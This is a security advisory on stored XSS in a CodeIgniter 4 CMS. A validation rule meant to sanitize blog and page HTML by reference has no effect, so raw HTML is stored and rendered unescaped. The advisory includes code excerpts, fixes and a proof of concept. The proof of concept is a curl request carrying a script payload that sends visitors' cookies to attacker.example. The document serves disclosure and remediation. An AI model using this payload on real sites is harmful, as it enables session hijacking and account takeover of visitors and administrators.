Summary The custom "html_purify" validation rule used to sanitize blog post bodies relies on by-reference mutation ("?string &$str"), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes "$lanData['content']" directly into "blog_langs.content", and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts. Details Root cause: by-reference mutation never propagates "Modules\Backend\Validation\CustomRules::html_purify" declares its first argument by reference: // modules/Backend/Validation/CustomRules.php:54-73 public function html_purify(?string &$str = null, ?string &$error = null): bool { if (empty(trim((string)$str))) return true; if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; } $clean = self::sanitizeHtml($str); $str = $clean; // <-- mutates only the local $value in CI4's validator self::$cleanCache[md5((string)$str)] = $clean; // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL) return true; } CI4's validator invokes the rule via a local variable "$value" it created from a copy of "$this->data": // vendor/codeigniter4/framework/system/Validation/Validation.php:204-211 foreach ($values as $dotField => $value) { // local $value $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field); } // Validation.php:343-345 $passed = ($param === null) ? $set->{$rule}($value, $error) // <-- $value is the local var : $set->{$rule}($value, $param, $data, $error, $field); The reference mutation modifies that local "$value" only; "$this->data", "$_POST", and "getValidated()" keep the raw payload. The optional "getClean($original)" cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on "md5(clean)" rather than "md5(original)". Sink: raw POST is persisted and rendered unescaped The Blog controller takes "$_POST['lang']" verbatim, runs it through validation (which always returns true for "html_purify"), and writes it to the database with no further filtering: // modules/Blog/Controllers/Blog.php:94-125 (Blog::new) $langsPost = $this->request->getPost('lang'); // raw, unsanitized ... if ($this->validate($valData) == false) return redirect()->...; // html_purify returns true ... foreach ($langsPost as $lanCode => $lanData) { $this->commonModel->create('blog_langs', [ 'blog_id' => $insertID, 'lang' => $lanCode, 'title' => trim(strip_tags($lanData['title'])), 'seflink' => trim(strip_tags($lanData['seflink'])), 'content' => $lanData['content'], // <-- raw HTML stored ... ]); } The same pattern is used in "Blog::edit" at "modules/Blog/Controllers/Blog.php:178" and ":201". The public blog post template echoes the field with no escaping: // app/Views/templates/default/blog/post.php:51 <section class="mb-5" id="ci4ms-content"> <?php echo $infos->content ?> </section> The view is reached through "App\Controllers\Home::post*" (Home.php:238), which is an unauthenticated public route. Trust boundary Backend routes ("modules/Blog/Config/Routes.php") are protected by "backendGuard" + Shield role checks, requiring "blogs.create" / "blogs.update". These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend "/blog/<slug>" is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript. Same defect in the Pages module A previous Stored XSS in the Pages module was "fixed" by introducing the very "html_purify" rule that this advisory shows is non-functional. Pages controllers ("Pages::create", "Pages::update") follow the same pattern and remain exploitable. PoC Prerequisite: any account holding the backend "blogs.create" role (or "blogs.update" for the edit variant). Cookies obtained via the standard backend login flow. 1. Submit a blog post with an XSS payload as the content body: curl -k -b cookies.txt -X POST https://target/backend/blogs/create \ -d 'lang[en][title]=POC' \ -d 'lang[en][seflink]=poc-xss' \ -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \ -d 'isActive=1' \ -d 'categories[]=1' \ -d 'author=1' \ -d 'created_at=01.01.2026 10:00:00' \ -d 'csrf_token_name=<token>' 2. The validator returns success ("html_purify" reports "true"), and the row is written to "blog_langs" with "content" = "<script>...</script>" verbatim. 3. Visit the public post URL "https://target/blog/poc-xss". The injected "<script>" runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session. Independent root-cause verification (run against the local app): $ php /tmp/test_blog_flow.php Validation passed: true Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script> That is, when the same payload is fed to the real CI4 validator with the project's rule set, "getValidated()['lang']['en']['content']" returns the unmodified "<script>...</script>", confirming the by-reference sanitization is dropped. Impact - Stored XSS reachable by any account with "blogs.create" or "blogs.update" (delegated content-editor permission), executed in the browser of: - every anonymous public visitor that loads the affected blog post, - the superadmin and other backend reviewers when they open or preview the post. - Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors. - Because the same broken "html_purify" rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through "Pages::create" / "Pages::update" via the same primitive — i.e., this is a project-wide regression of an already-published advisory. - The "getClean()" cache fallback intended as a backstop is also non-functional (key mismatch between "md5(clean)" writer and "md5(original)" reader). Recommended Fix 1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after "validate()" and before persisting. Minimal, immediate fix in the Blog controller — apply to both "new" and "edit": // modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201) use Modules\Backend\Validation\CustomRules; ... $this->commonModel->create('blog_langs', [ 'blog_id' => $insertID, 'lang' => $lanCode, 'title' => trim(strip_tags($lanData['title'])), 'seflink' => trim(strip_tags($lanData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')), 'seo' => !empty($seoData) ? $seoData : '', ]); Apply the identical change to "modules/Pages/Controllers/Pages.php" (the previous Pages Stored XSS fix relied on "html_purify" and is therefore still vulnerable). 2. Fix the cache key bug so "getClean()" actually works as a defense-in-depth backstop: // modules/Backend/Validation/CustomRules.php public function html_purify(?string &$str = null, ?string &$error = null): bool { if (empty(trim((string)$str))) return true; if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; } $original = (string)$str; $clean = self::sanitizeHtml($original); self::$cleanCache[md5($original)] = $clean; // key on ORIGINAL, before reassignment $str = $clean; // best-effort; CI4 will drop this return true; } 3. Document explicitly in "CustomRules" that "html_purify" is not a sanitizer — it returns "true" unconditionally on any HTMLPurifier-installed environment — and that callers MUST use "CustomRules::sanitizeHtml(...)" (or "CustomRules::getClean($original)" after the cache fix) on "$_POST" data before storage. 4. Defense in depth: escape "$infos->content" at output where feasible (e.g., "app/Views/templates/default/blog/post.php:51"), or pipe the stored value through "CustomRules::sanitizeHtml()" on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.